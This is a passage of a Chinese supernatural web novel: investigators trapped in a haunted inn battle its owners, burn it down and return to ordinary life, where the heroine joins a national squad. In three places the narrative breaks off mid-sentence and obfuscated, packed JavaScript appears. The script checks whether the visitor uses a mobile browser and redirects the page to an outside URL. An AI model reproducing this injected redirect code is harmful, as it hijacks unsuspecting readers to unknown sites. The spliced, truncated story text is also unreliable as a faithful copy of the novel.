客栈的兴盛靠的是客流,但实际上许多居住的客人都住下不肯离开,想得糟糕一点,这些人最后都逃脱不了死亡。 湘乐也说过客栈会吃人。 如果说客栈的强盛,对花无俦未必全是好事呢?联想一下身处客栈之中,人的欲望被放大,情绪无法控制,这些导致了菊苑的僵持,梅苑的灾祸,那花无俦本身是否也会受到影响?骷髅面会否是某种表现的形式? 如果这真是所谓弱点,却是根本无法利用的弱点。 昨晚死了那么多人,到了早晨,花无俦也只露出四分之一的骷髅面,他们剩下的人全死光了也没办法激化他变成完全骷髅面。 更别说这些还都是猜测。 陆漫漫闭了闭眼。 其实不用想了,如果对方布置任务是试探,那么到此就全是引导,最终结果只有一个,要不要帮他解除和客栈的绑定。 如果顺势而为,前路无知。如果逆势拒绝,对方不会放过她甚至会针对她。 当花无俦把提交任务的时间卡在第三晚的时候,就没给她留下后路。 玛德,表面谦谦君子好声好气,一派纯良无害迷惑人心智,还适当示好卖惨,实际上一肚子坏心肠,没憋好屁!! 18. 诡栈拾捌 陆漫漫皮笑肉不笑:“如果要解除你和客栈的联系,要怎么做?我怎么知道之后你不会再针对我们?” “不能保证,不过我第一件事肯定是把这间客栈拆了。”花无俦笑得花枝乱颤,“当然,如果你做不到的话,你会和那个男人一样,被客栈撕成碎片,求生无路,求死不能。” 陆漫漫冷笑:“我不答应你能放我走?” 花无俦笑了两声,没反驳:“解除的办法很简单,就是易主。” “你坑我?” “不要着急嘛,我也没说要你成为下一任主人。当然,如果你愿意,也不是不可以。” 陆漫漫忍耐道:“你最好一次性说清楚。” “易主的条件有一条就是自愿,其次就是能够承受庞大的力量。而因为客栈的特殊性,虽然继任者受到的影响很小,却也并非不存在,这一点陆小姐已经猜到了。所以,继任者要么无欲无求,要么就要心系客栈。我尝试过很多次,都在最后一步失败了。毕竟来到这里的人,都有所求。” 陆漫漫:“花老板之前可是说一觉醒来就和客栈绑定了。” “我丢失了之前的记忆。但继任这件事……”花无俦指了指脑袋,“是传承的。” “既然条件都那么明确,花老板要我做什么?帮你找人吗?” “我心中已有人选,经过陆小姐刚刚的描述,也肯定了几分想法。但此人到底不是全然符合要求,所以需要一些额外的手段,这才是我需要陆小姐帮忙的地方。”花无俦说,“因为需要用上手段,所以明面上我是不能插手的,客栈也会拼命阻拦不合适的继承人接任。明晚,我需要陆小姐帮我吸引火力,坚持到两点,当然,如果顺利更早一些也说不准,届时陆小姐会感受到客栈的变化。我的弱点也当双手奉上。” “花老板真是画的一手好饼。”陆漫漫起身,“我应下了,若无其他事,我就走了。” 再对着这张脸,陆漫漫只想撕烂它。 能晚死当然还是晚死得好,在boss和一群小怪小boss之间,陆漫漫也只能选后者尽量苟一下了。 而且不可否认,闹事这种事情,听起来莫名就让人感觉到兴奋。 再出门,陆漫漫没有受到任何阻拦,她去竹苑把一群麻烦精并预计赔偿清单送到梅苑,将卓卿越提了回来。 卓卿越一看陆漫漫战损的样子直接炸毛了,立刻上手治疗,恨不能连陆漫漫掉下的汗毛都给粘回去。关切热情地让陆漫漫颇感心虚,赶紧拉着人回去开深夜小会议。 秦业听了个开头就表示不赞同:“诡怪的话不可尽信。” “总比当场被他捏死好。他硬要说我们深夜搞破坏,我们无处申诉,直接被赶出去还是轻的。” 秦业沉默片刻,说道:“冒飞扬,请她吧。” 冒飞扬歪头,问道:“你确定吗?请了之后我就没办法用笔当武器了。而且那家伙可是有赖着不走的风险的。” “也不差这一点。” “唔,也是,那我开始了。” 陆漫漫和卓卿越听得一头雾水,但看两人很正经的样子,倒也没随便插嘴问询。 秦业将屋里的烛火熄灭,只剩下一盏没有灯罩的蜡烛,放在桌子上。冒飞扬清空了桌上其他的东西,单手伸出,凝聚成一张白纸,摊平,而后右手伸直,闭眼。 陆漫漫见过几次的普通圆珠笔逐渐在她手中凝聚,虚虚拢住的笔缓缓下沉,直到笔尖轻轻点在纸面上。 “笔仙啊笔仙,你是我的前生我是你的今世。请你告诉我,我们所在的无间客栈的现任老板花无俦,今日对陆漫漫所言,是真是假。” 笔微微颤动,笔盖发出些许的嗡鸣,笔身却久久没有动作。 冒飞扬额头开始冒汗,她又重复了一遍—— “笔仙啊笔仙,你是我的前生我是你的今世。请你告诉我,我们所在的无间客栈的现任老板花无俦,今日对陆漫漫所言,是真是假。” 笔尖猛地滑动,但只仓皇划出几个笔画,冒飞扬就闷哼一声跟烫手一样松开了手,笔瞬间失去力量倒在了桌面上,外壳隐隐出现裂缝,而后迅速消失。 “冒飞扬!” 冒飞扬面色苍白,有气无力地扒拉着桌面看:“快看答案,马上也要没了。” 卓卿越迅速跑去点灯,陆漫漫直接凑上去就着烛光看。 纸上并没有完整的答案,只写了一个“十”和一“丨”,竖戛然而止。但联系到真假问题,答案自然非“真”即“假。” “是真。” “呼,太好了。那个花老板果然很厉害,只是问一问过去的一个真假问题,都能反噬。还好没问什么其他的东西,否则我估计要直接被创死。” 秦业黑线:“都这样了嘴巴子还不安分!” 冒飞扬咧嘴笑:“也不是没好事啊,以前送走都要费一番力气,这次直接被吓跑了。” 卓卿越将灯罩罩在烛台上,好奇问道:“这就是请笔仙吧?” “我来说吧,你先歇歇。”秦业接过话头,“冒飞扬的笔是一个诡域中笔仙的笔,诡域崩塌前,对方自愿赠送。这个笔仙虽然不是诡域boss,却也不相上下,是以很难完全掌控。以前就出现过请了来却请不走的情况。不过这次倒是直接吓跑了。” 卓卿越问:“这样有隐患的东西,为什么不换掉呢?” “一是相性很好,二是对方虽然会逗留,但不会表现攻击性。毕竟传说里的笔仙害人,也只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13232970|137790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 害使用召唤术的人,现在使用的人只有冒飞扬,她是笔仙的主人,也是笔仙认可的人,所以不会有事。”像是知道两人的疑惑,秦业补充道,“但笔仙停留的时候行为不可控,以前出现过故意招惹诡怪导致诡域难度大增的情况,当然也有帮助我们的情况。” 冒飞扬吐了吐舌:“但是她很讨厌我拿笔当戳戳乐,每次戳戳后都要耍脾气。” 陆漫漫抽了抽嘴角,想到先前冒飞扬拿着笔戳诡怪的场景。 换成谁,待得好好的被人一通狂舞扎脏东西都不会高兴吧…… “卓卿越,给她治疗一下。” “欸?可是我的技能对这种内伤没什么作用啊?”说归说,卓卿越还是乖乖将手伸了出去。 秦业惊道:“他能治疗?” “对不起哦,我比较没用。” 秦业复杂道:“你很有用,不过只对特定人群有用。” 陆漫漫已经猜到这两人同属国家队并且权限比何峰更高了,听闻好奇道:“你见过其他治疗?” “只是听过。首都三队有一名治疗,原本是队长亲属,所以提携在身边,后来发现她的治疗对个别队友有非常好的疗效。其后不是没有研究过,不过研究过后的结果并没有办法将治疗效益最大化。” “是因为与被治疗人的想法有关?” 秦业有些意外,但又不是很意外,毕竟先前还颇为狼狈的陆漫漫再回来除了衣服上的血渍磨损,裸露的皮肤已经完好无损,显然进行过治疗。 “没错,理论只要说出来大家都懂,但脑子是怎么想的就没办法控制了。”秦业说,“毕竟首先就要想象自己不是一个‘人’,而是一种‘能量体’这一点,大多数人就做不到。上头有尝试过催眠,但效用不大。加上治疗本来就稀缺也多不受重视,并且本身没有太多自保能力,跟着主队危险度高,就放任了。” 卓卿越当下拍胸脯:“漫漫姐,我愿意跟着你,不怕危险!” 此刻心里没多少考虑别人的陆漫漫强横道:“不跟着我还想去哪?” 这么好用相性那么好的队友,既然她有打算走公职路线,当然是迅速绑定了。 “呀呼,果然我也是个小天才,我现在感觉自己精神倍儿棒!”经过治疗的冒飞扬活蹦乱跳,双眼亮晶晶,“小姐姐,那我以后也跟着你,就可以免费蹭治疗了。” 秦业:“……” 一时间不知道惊喜冒飞扬也是个小变态还是吐槽这家伙有没有点逼数知不知道自己已经有安排了。 算了,这个诡域大家脑子都不大清醒,连他自己都疯疯的,有什么还是出去再说吧。 打不过就加入。 秦业疯癫道,“干他丫的!杀穿他们!” 19. 诡栈拾玖 按说决胜团战了,当然是帮手越多越好,但谁都没有提去找其他探查者。 这种事情讲究你情我愿,反正事情发生的时候他们要帮忙自然会上手,若不愿意,还要反过来怪他们随便开团波及自己。 更别说现在大家脑子都不大清醒,此刻都很信心膨胀。 前院昨晚的破坏费用丢给了陈商人,冒飞扬两人住进了竹苑,第二日好好养精蓄锐了一番。 随着天色越来越暗,距离离开诡域只剩下二十四小时的时候,四人齐齐出门,等候在夜色深黑的湖边。 十二点,随着骤然而来的阴冷,花无俦笑眯眯地从黑暗中现身,身后跟着打着哈欠的暗火。 没想到花无俦口中适合的接任者居然是他。 陆漫漫有些意外,她还以为会是流云。毕竟对方看着受影响很小,人也非常清醒理智。不过转念一想,也许并不是对方不受影响,而是流云的心思都在王爷身上,只关注王爷的情况。 相比较之下,暗火就单纯多了,反而有种对什么都不不关心的感觉。 花无俦看了看天色,笑眯眯道:“时间到了,一会儿还要麻烦陆小姐。” 陆漫漫忽然问道:“花老板完成夙愿后打算做些什么?” “自然是天高海阔。” 陆漫漫一时间觉得有点不对,但来不及细想,花无俦就带着人过了桥。而在他带人过桥之后,整个客栈就像是沸腾了一样骤然活了过来。无数诡影张牙舞爪地探手伸向暗火,暗火却一副失了魂的样子,无动于衷。 花无俦显然没办法动手,秦业一眼瞧见不对,直接拎着两把小剪刀冲了过去:“上!” 陆漫漫顾不上想太多,赶紧跟上。 昨晚三人就有了一番配合,此刻没有拖后腿的在,哪怕人头灯和客院钥匙都失去了效用,倒也不再那么手忙脚乱。更别说还有个非常有眼色的奶爸,自己稳稳苟住不说,时不时就给他们加个治疗。 花无俦就这么杵在边上看了会儿戏,等许掌柜黑沉着脸出现被秦业拦住,这才慢悠悠领着暗火离开。 陆漫漫有心探寻他的去处,可只是一晃眼的功夫,人就不见了。 而面对花无俦的消失,许掌柜却似乎并不在意,仿佛被秦业稳稳地拉住了仇恨。 客房小楼和前厅如同一只趴伏着的巨兽,张牙舞爪地将房间内的住客吐了出来。顶着活人身份的住客惊呼乱蹿,试图逃离,却被诡化的房子抽打着被圈禁于方寸之地,很快就被满院的诡怪拆吃入腹。 这些新鲜的血肉被诡怪吞食,却助长了客栈的声势。诡栈肉眼可见地变得更精致了。 仅仅亮起的两盏红灯笼如同一双巨大的眼睛,高高在上地俯视着众人,来自巨物的恐怖感瞬间笼罩众人。许掌柜击退秦业,退回诡栈巨兽之前,身形开始扭曲。 黄溥瞳孔倏然睁大。 被逼出房间看见这一幅群魔乱舞的情景时,自然是想都不想加入探查者的行列,但他一肚子的疑问却在此时此刻烟消云散,只有一个念头疯狂在脑子里放大,膨胀。 他喃喃道:“我要找老板,我要问问他该怎么进入那个商场。我什么都可以做。” “黄叔!”杨维鹏惊骇回头,试图去拉魔怔了的黄溥。 黄溥裂开嘴,痴痴看着杨维鹏,问道:“你难道不想再见见你父亲吗?他只是被困住了,他还没有死。只要我们知道进入那个诡域的办法,就可以重开,可以把你爸爸带出来!” 杨维鹏神情痛苦,而后迟疑,渐渐的,他脚步也开始跟随不受控制的黄溥,往外挪去。 “老爸……” 看着两人从守护圈中冲出,身影被诡怪们淹没,冒飞扬张嘴就要吐槽,刚发出一个音,就被迫打断。 何峰宛如一个领军的将领,狰狞地冲着身形同样暴涨、杵在诡栈巨兽面前俯瞰着他们的许掌柜冲过去,同时高声呼喝:“冲啊,杀了boss!杀掉boss我就可以升职加薪了哈哈哈,他们谁都不能再看不起我。” “何队!”肖诚大惊失色,“别冲动!” 就那么一个不留神,他边上的汪实学也跟着冲了过去,他倒是没有嚷嚷什么,但看表情显然也进入了某种魔怔之中。 两人一左一右,还不等肖诚咬牙想着加入,就被许掌柜左右捏住,徒劳的攻击落在许掌柜身上,只擦破了一点血皮,甚至没给他们任何反悔的机会,骤然张开的血盆大嘴就将两人一起囫囵着吞入腹中。 冒飞扬的卧槽迟迟来到。 “他们怎么回事,疯了吗?” 陆漫漫克制着自己内心的蠢蠢欲动,说道:“欲念被放大了。”就像她现在,觉得自己强到可怕,要不是岌岌可危的理智控制住自己,也要跟着去送死。 不过在她现在的思想中,那不叫送死,那叫血虐对手。 与陆漫漫唯我独尊天下第一这样的想法不同,其他人所受影响就目前形势来看相对安全。 秦业只觉得很烦躁,非常想把在场看见他用小剪刀的活物挨个手动给他们闭眼。冒飞扬倒是还好,她的玩心已经满足地差不多了,这个诡域中并没有更多让她感兴趣的点,反而更正常。 至于卓卿越,他现在就是个单纯的恋爱脑。 而除了他们,探查员只剩下了肖诚。肖诚很冷静,他每次进诡域,所求也只是成功存活、尽力查探更多信息而已。 可他们面对的,不仅是周围不知疲倦涌上来的小诡怪们,还有面前虎视眈眈的许掌柜。 肖诚惊恐道:“这就是boss吗?为什么他现在就狂暴了?” 控制自己上头的陆漫漫猛地侧首,看向并不着急的许掌柜,喃喃道:“为什么他一点不着急?” “是觉得我们肯定得死吧。”冒飞扬叭叭,“不是我说,就这些小怪,都不够秦业一个人杀的。” “闭嘴,不然连你一起宰了!”秦业凶狠道。 “那他难道不应该去找花无俦吗?”陆漫漫越想越觉得不对劲。她重新梳理了一下思路。 花无俦想要解除和诡栈的联系,所以他需要寻找下一任继任者,但他选中的目标并不符合继任者的条件,他需要通过一些额外的方式达成要求。可诡栈不会放任不符合标准的主人继承,因而需要他们来帮忙阻拦。 然后呢…… 假使目标不符合,又没有诡栈去主动进行攻击,那最多也就简单的失败人没事而已。反正在诡栈方看来,他们都是一伙的,留住他们,暗火自然也要完蛋。 而一旦花无俦所做的事情可以遮住诡栈的耳目让它承认继任者,那实际上换不换任对诡栈而言都没有区别了。 所以许掌柜根本就不用着急去找人。更别说对方目前还是这个诡栈的主人。 花无俦没有说谎,但却隐藏了很多信息。现在想来,对方根本没有说过一句确切的他会在解绑后对付诡栈的话。反倒是威胁她表达地清楚明白。 单只是那句“拆了客栈”,他完全将自己建的后院拆掉,也算是拆了客栈。就像他们客院的贵客身份,在花无俦绝对主人的前提下,也适用于整个客栈。文字游戏而已。 陆漫漫的许愿某种程度上给花无俦制造了机会,若非实力不济,该是对方哭着求着让她帮忙才对。 事到临头,多想无益。陆漫漫手中长刀越发凝练,直指许掌柜,眼中染着熊熊战火:“卓卿越,看着我,时刻给我治疗。其他人掩护我。我要去劈了他!” 说完,陆漫漫不等回应,直接踹掉拖鞋,迅猛前冲,小小的身影哪怕高高跃起也不足巨化的许掌柜一掌之大。 或者说,许掌柜作为诡栈的衍生物,此刻已经回归诡栈,与诡栈合为一体。 陆漫漫想象中的牛逼场景,应该是自己一跃到对方脑袋上,直接一个跳斩。实际上——跳起来才刚到人家膝盖,只能郁闷又生气地给了对方关节一下。 刀锋在膝盖上划过,细细密密的黑雾如跗骨之蛆,渗入长而深的伤口之中,原本不以为意的许掌柜痛呼出声,怒而伸掌,狠狠朝陆漫漫脑袋拍下。 腾身空中的陆漫漫无处接力,只能眼睁睁看着手掌落下,将双臂交叉,呈防御状,尽量抵御。 却见一样东西腾空而起,猛地砸在许掌柜伸出的巨掌上。是看到陆漫漫跃起时就做好准备的卓卿越所为。 前夜等待陆漫漫的卓卿越当然不是什么都没干,他找机会重新下到梅苑的地下室,将那尊被烟熏得漆黑但依旧完好无损的佛像给捞了回来。 小脆皮也是有尊严的啊!他总不能指望陆漫漫围着他保护他吧!这个佛像一看防御就有点东西,贴身带着他就可以安稳地做奶爸了! 不过当他察觉陆漫漫陷入危险时,却顾不得那么多,直接把东西砸了出去,给她争取时间。 佛像触碰到巨掌的瞬间发出一道金光,而后漆黑的佛像就碎成了渣渣,落了陆漫漫一脸。同时许掌柜也吃痛被迫收掌,身后的诡栈巨兽衍生出无数的纸条,狂舞着朝着众人袭来。 小诡怪们来不及躲避,就被无差别击杀,瞬息间,周围就只剩下了他们几个人。 冒飞扬直接将碎掉的诡器屏障丢掉,无语道:“好家伙,先杀自己人。这就是反派的修养吗?” 秦业冷笑:“它们只会妨碍它而已。” 认识到自己不足的陆漫漫脑子里的无敌总算消去了些,不进反退,重新回到众人身边,低声道:“我们主要目的是拖延时间,一会儿要是发现我像刚刚那样那么上头,直接骂醒我。诡栈可以说是这个诡域本身,易主的那刻才是最好的机会。” 秦业说:“我和你主攻。” 一无所知的肖诚无助地看向唯一熟悉的卓卿越,见他全然听从,只好跟着点头。他从来都是被动接受的安排的那一个。 没有无孔不入的小诡怪环伺,只以守为主,众人压力顿减。 巨化的许掌柜身形笨重,只要不傻乎乎站桩输出,拼的更多的反而是体力。 秦业的一对小剪刀看着不起眼,但不论是扎刺还是划剪都非常地好用,只是造成的伤势虽多,却没有陆漫漫鬼头刀的加成效果,在对方有自愈效果的前提下,不过就是挠挠痒。 也因此许掌柜只有不耐烦的时候才愿意搭理一下他,其他时候完全盯着陆漫漫猛攻。 人力有尽时,需要全身心集中的陆漫漫不论是精神还是体力都消耗很大,原本灵活的身影渐渐慢了下来,身上伤痕开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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疑惑归疑惑,冒飞扬点火的速度却一点不慢。格格不入的肖诚已经放弃了询问,麻溜地跑去捡先前断落的枯枝,统统怼到了暗火的身上。 还未完全成长的暗火尚无反手之力,只能被动挨打,许掌柜看得急火攻心,奈何被堵住去路,自己也受到影响进入虚弱,只能咬牙闪避。 现在需要拖时间的一方变成了他们。 陆漫漫握紧刀柄,看着狼狈但因为身形缩回正常大小而重新灵活的许掌柜,眼神沉沉。诡栈因为换任虚弱,对他们的影响也大幅度降低。但对此刻的她来说却并不算好事。 她本来就属于理智一派,并不是纯攻击手,没有一往无前的buff加成,考虑的自然就更多了。 现在距离他们脱出诡域的时间还有将近一整天,再耗下去凉的只能是他们。 虽然以她现在的思考能力,完全可以将卓卿越的治疗用来弥补体力的不足,可卓卿越的能力却也不是源源不尽。 另一边的火攻有了明显的效果,他们这里反倒被许掌柜溜着没办法上致命一击。 恢复冷静的秦业也察觉到了,问道:“怎么办?” 陆漫漫抬头,看着许掌柜身后趴伏着的诡栈主体,说道:“没办法了,直接全烧吧。其实我们烧了客栈和击杀许掌柜的结果是相同的。” “正确的出路明显只有客栈正门,万一没成功,我们甚至都没办法离开。”秦业提醒道,“如果那样,我们就只能被困在这里,就是侥幸没被大火波及,要离开也只有等待可能链接此处的诡域再度开启。” “但要是这样耗下去,等暗火完全消化吸收了诡栈的力量,我们就必死无疑了。” 秦业嗯了声:“我不反对,只是希望你别后悔就行。” 陆漫漫哼笑了声,转而去砍边上的花草树木。 复古风格的诡栈本身就是木头所造,院中也不乏花木,这些花木在诡栈活动的时候就被卷起,却并非诡栈本身,此刻要么七零八落地散在地上,要么还顽强地扎根在土里。 其他人没有趁手的武器只能去捡刚刚诡栈虚弱掉落的碎木,秦业和陆漫漫却没有这个困扰,一路走过唰唰唰就将可用的燃烧物切成了块块。 早就听到两人计划的所有探查者都动了起来,点燃各处的木头,然后往诡栈身上丢。 许掌柜看着被当成点火棒的暗火急到不行,奈何分身乏术,哪怕暗火周围已经无人看守,可为了自身的行动也只能顾着身后的诡栈本体,试图将所有火源挡下。 换了寻常,这样的火诡栈根本就不看在眼里,否则也不会那般随意使用灯烛。可对此刻虚弱的它来说,火就是天敌了。 目标本身就大,许掌柜防得了这边防不了那边,还时不时被攻击一下,很快,他身上包括诡栈本体就开始燃起火焰,等到他被火势包围,暗火已经无法动弹失去了气息。 整个诡栈轰然倒塌。 天际缓缓出现了光亮,这耗时半晚的战斗终于接近尾声。未燃尽的诡栈以及它身上的火焰随风化灰,只留下一地的狼藉。 诡栈大门的方向出现了一道门,门外是寻常的街边景象。 脸上一片黑灰的肖诚双眼朦胧,喃喃道:“结束了,我们终于打败了boss,可是何队却……” 20. 现世1 秦业抹了一把脸,说道:“我们快走吧,这个诡域在现世即将消失。通道的门持续不了多少时间。” 冒飞扬蹦起,冲到前面的遗址处,一通扒拉,嘿嘿道:“我的金花生,还在哈哈哈!秦业秦业,你的胸针。这些都是谁的?我先都拿着了哈。” 秦业:“……” 陆漫漫四处张望:“我的手机不知道掉哪了,我先找找。” “别找了。换个手机app也会自动绑定的!” 陆漫漫痛心疾首:“才刚买两个月呢。” 卓卿越拉着她,说道:“没事的姐姐,你出去后加入国家队,消灭诡域后像这样的合理战损是可以报销的。” 陆漫漫瞬间好了:“那我们走吧。” 在陆漫漫将要跨出门的时候,余光中一样东西从侧面猛地撞进她怀里,猝不及防直接走出去的陆漫漫摸着空荡荡的胸口,一脸懵逼。 陆漫漫揉了揉眼,怀疑是自己太疲惫看错了。 哪怕白日补了眠,但生物钟早就形成了习惯,熬了一晚这会儿眼皮都沉的厉害,看花了也是有的。 门外原本的小路已经被前后拉了警戒线,中间还用高的围挡挡住,不留一丝缝隙。 陆漫漫前后看了看,奇怪道:“刚刚在里面看到的不一样啊?” “出口处的景象通常是进入时的场景。”顿了顿,秦业补充道,“加了光效版。应该是发现诡域开启后被围起来的,不过还没到出去的时间,所以没人。” 卓卿越说:“我打电话喊人。” 冒飞扬跳上围挡,鬼鬼祟祟看了一圈,冲众人挥手:“我先走了,叫人来还得解释,我要补眠,再见。跟他们说报告我回头写。对了小姐姐,一起吃个早饭?” “不了。”陆漫漫打了个哈欠,“我先回家休息了,回头公司那边还得处理旷班问题。对了,如果我去报名国家队的话,地址是?” “你地图上找‘桂语清洁有限公司’就行。” 陆漫漫应了声,就那么赤着脚直接爬了上去,不等卓卿越喊,一个翻身就不见了。 这会儿天色还早着,大爷大妈们大多数都还没出门早锻炼或者买菜,一身狼狈的陆漫漫倒是没被当成可疑分子,顺利到了家。 简单洗漱后直接一觉睡到天黑,然后慢吞吞起床,出门,先去手机店买了个手机。刚补完卡开机,就看见数量不少的未读信息和来电。 部门经理在怒发几条信息后还惊恐地给她报了失踪,算算时间,也可以立案了。 江随尹也打了很多电话,基本隔两个小时就要打一次。 最新的是一个陌生号码,简单直接地说自己是冒飞扬,让她买了手机后联系她。 陆漫漫先给领导打了个电话。 “你还知道打电话?这两天你干什么去了?人没事儿吧?” 陆漫漫有点小感动,领导也不是那么周扒皮还是有点人性的嘛,还知道关心她。 “我……” “万一出了事儿别人说是加班太多想不开我们公司受影响怎么办?” 陆漫漫秒收感动,冷漠脸胡说八道:“之前生病发烧了,反反复复的人不清醒,一直是邻居照顾的,去医院没带手机。” 对面迟疑了下,问道:“医院开单了吗?没开单不报病假的啊。” 陆漫漫气笑,忍耐道:“可以按正常请假算吗?” “那我让人事给你算三天假,从年假里扣。” 陆漫漫咬牙切齿:“周总,昨天我本来就应该放假,前天也只是值班而已。” “值班也是班啊,而且你这都是事后补的,耽误多少工作啊。给你算两天假啊。明天别忘了来上班。” 陆漫漫深吸口气,告诉自己别气,社畜就是狗,给钱就是爹,等她成功上岸,她才有底气潇洒地说老娘不干。 “周总,我现在还是觉得不太舒服,这种状态恐怕明天也没办法工作,所以我再请一天假,假条之后补。可以吗?先前天天加班,想来也是太疲惫了才会一病不起……” 对面干笑:“当然是身体重要了,那小陆你好好休息。” 陆漫漫狠狠摁断电话,然后拨通江随尹的号码。 “陆漫漫你……” “半个小时后,飘香炸串见,你请客。” 对面默默把话咽回去:“好。” 半个小时后,飘香炸串门外露天餐桌,点了一桌炸串叫了一箱啤酒的陆漫漫在赶走三个试图搭讪的男人后,终于等到了想等的人。 江随尹坐下,轻咳了一声,开门见山道:“你进入诡域了?” “嗯哼。” 江随尹问:“是收到‘我’发的信息?” “恩。” “说实话,我也不知道是怎么回事。”江随尹说,“那个奇怪的东西的确是通过vx来拉人的,在知道这一点后,我就把它注销了。但实际上这种扩散方式,是在主人不作为的前提下才可能发生。也就是说,除非我连续几个诡域都碌碌无为勉强混过关,我的联系人才可能被随机盯上。” 陆漫漫蹙眉:“什么玩意儿,鬼来电?” “你那么理解也没错。如果持有人在诡域中死亡,必定会被选取一到两个联系人进行补充。当然,他可以提前指定。如果他不用vx,就是随机选取身边的人。一旦被选中,就无法逃开。” “也就是说,那天就算我不去,最后也会被动加入?” “对。”江随尹说,“除了vx扩散,它也会随机抽取。概率相对较高的就是路过某些诡域场景。” “你加入国家队了吗?” 江随尹有些诧异:“你第一次就碰到国家队的人了?我前两天才碰到,他们也邀请了我,只是我还在犹豫。” “我准备组建自己的队伍。”陆漫漫说。 江随尹不用听都知道陆漫漫想说什么,秒拒:“我没有把这个当成工作的打算,就算加入,也只是编外。” “行吧,如果你改变主意告诉我。” “就算我改变主意,我也只会搞自己的队伍。”江随尹摇头,“我俩玩个游戏意见不统一都各干各的,如果在诡域中也碰到这样各自为政的情况,只会把局势搞得一团糟。” 陆漫漫喝了一大口啤酒,啧道:“明明大多情况都很合拍,但有时候你却偏要跟我过不去。” 江随尹无言以对,这种时候保持安静默认就完事了。 陆漫漫也没什么好问的了,江随尹只是个散人探查者,情报不全,有什么想知道的,不如她明天亲自去清扫队问。 江随尹第二天还要上班,吃了个夜宵就匆匆走了。一天没吃的陆漫漫干完了桌上的大部分炸串,撑得在路上走了一大圈,愣是到凌晨才睡着。 桂语清洁公司在偏郊一处不起眼的老旧小楼中,附近有很多类似的小工作室小办公楼小工厂。陆漫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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座位上放着“李安敏”牌子的女子递给陆漫漫的是一份清扫队入职须知,内容不多,主要意思就是说必须要服从安排、主动进入危险诡域。当然,进入诡域后还是要以自身安危为主。 陆漫漫并不意外,这些东西她之前已经知道了。 李安敏主要负责入职和处理杂务,队内相关安排并不经她手,实际上她也没进入过诡域,属于后勤人员,因此对陆漫漫资料上写着的“诡栈”的含金量一无所知。在之前申请表的基础上,又给了她好几份文件签名,并且详细地跟她说了注意事项。 陆漫漫都一一认真看了,尤其是福利相关,她表示非常地满意。 这年头协阳市内要找正正经经的双休工作并不容易,更别说基础工资还在市平均工资之上了。现在签完她下午就去公司和傻逼领导说拜拜! 青年靠在门边还抖着腿,等这边都弄完,迫不及待地跳了起来,说道:“走走走,我带你入队。” “咱们单位比较随意,总队成员日常只要轮流守职,分队倒是需要巡逻。二楼主要是后勤杂务,主要是李姐管的,隔壁办公室的有采购啊外勤处理,这会儿都不在。三楼是总队各队办公室,四楼五楼是分队,六楼是会议室。咱们单位局长副局长也在六楼,直管国家队调动。”青年说,“哦,差点忘了自我介绍,我叫苗淘,咱们单位前台,前台是三人轮班,其他两人以后你会见到。我带你去见皮局。”